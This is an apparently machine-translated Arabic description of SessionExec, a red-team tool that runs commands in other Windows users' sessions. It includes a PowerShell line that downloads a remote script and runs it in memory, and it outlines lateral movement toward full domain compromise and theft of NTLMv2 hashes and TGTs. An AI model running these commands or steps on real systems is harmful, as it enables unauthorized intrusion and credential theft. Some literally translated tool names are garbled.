يسمح لك SessionExec بتنفيذ أوامر محددة في جلسات أخرى على أنظمة Windows، إما باستهداف معرف جلسة محدد أو جميع الجلسات، مع خيار منع إخراج الأمر.
الأداة مستوحاة من كود استغلال EOP COM Session Moniker، الذي أصدره جيمس فورشو منذ فترة طويلة.
يستخدم SessionExec واجهات برمجة تطبيقات Windows للاستعلام عن معلومات الجلسة وإنشاء عمليات داخل تلك الجلسات.
قم بتجميع SessionExec.cs بتشغيل الأمر التالي من Build Tools لـ Visual Studio
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
أو يمكنك استخدام Invoke-SessionExec.ps1
وهو نفس البرنامج النصي، ولكنه يعمل في الذاكرة باستخدام أسلوب التحميل العاكس.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
يمكنك أيضًا العثور على تطبيق Powershell خالص لهذه الأداة التي تم ترميزها بواسطة The-Viper-One هنا
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
تحقق من الجلسات المتاحة باستخدام الأمر quser
. ثم قم بتشغيل أمر في جلسة محددة، أو All
الجلسات.
إذا وجدت نفسك مسؤولاً محليًا على جهاز واحد أو عدة أجهزة داخل الشبكة، وكانت هناك جلسات مستخدم على هذه الأهداف، فيمكنك استخدام SessionExec وFind-LocalAdminAccess معًا للتحقق مما إذا كان أي من هؤلاء المستخدمين لديه حق وصول المسؤول المحلي على الأجهزة الأخرى في الشبكة.
إذا فعلوا ذلك، فيمكنك تكرار العملية للمستخدمين الذين لديهم جلسة على تلك الأجهزة. يمكن أن تؤدي سلسلة الإجراءات هذه نظريًا إلى تسوية كاملة للمجال.
بالإضافة إلى ذلك، يمكنك استعادة الأصداف باستخدام فقدان الذاكرة، والتقاط تجزئات NTLMv2 وترحيلها، والاستيلاء على TGTs، وغير ذلك الكثير، كل ذلك بطريقة آلية.
سأقوم بتنفيذ هذا المفهوم في فقدان الذاكرة، وبالتعاون مع The-Viper-One، نعمل على تنفيذه في PsMapExec أيضًا.
في الوقت الحالي، إليك إثبات المفهوم (PoC):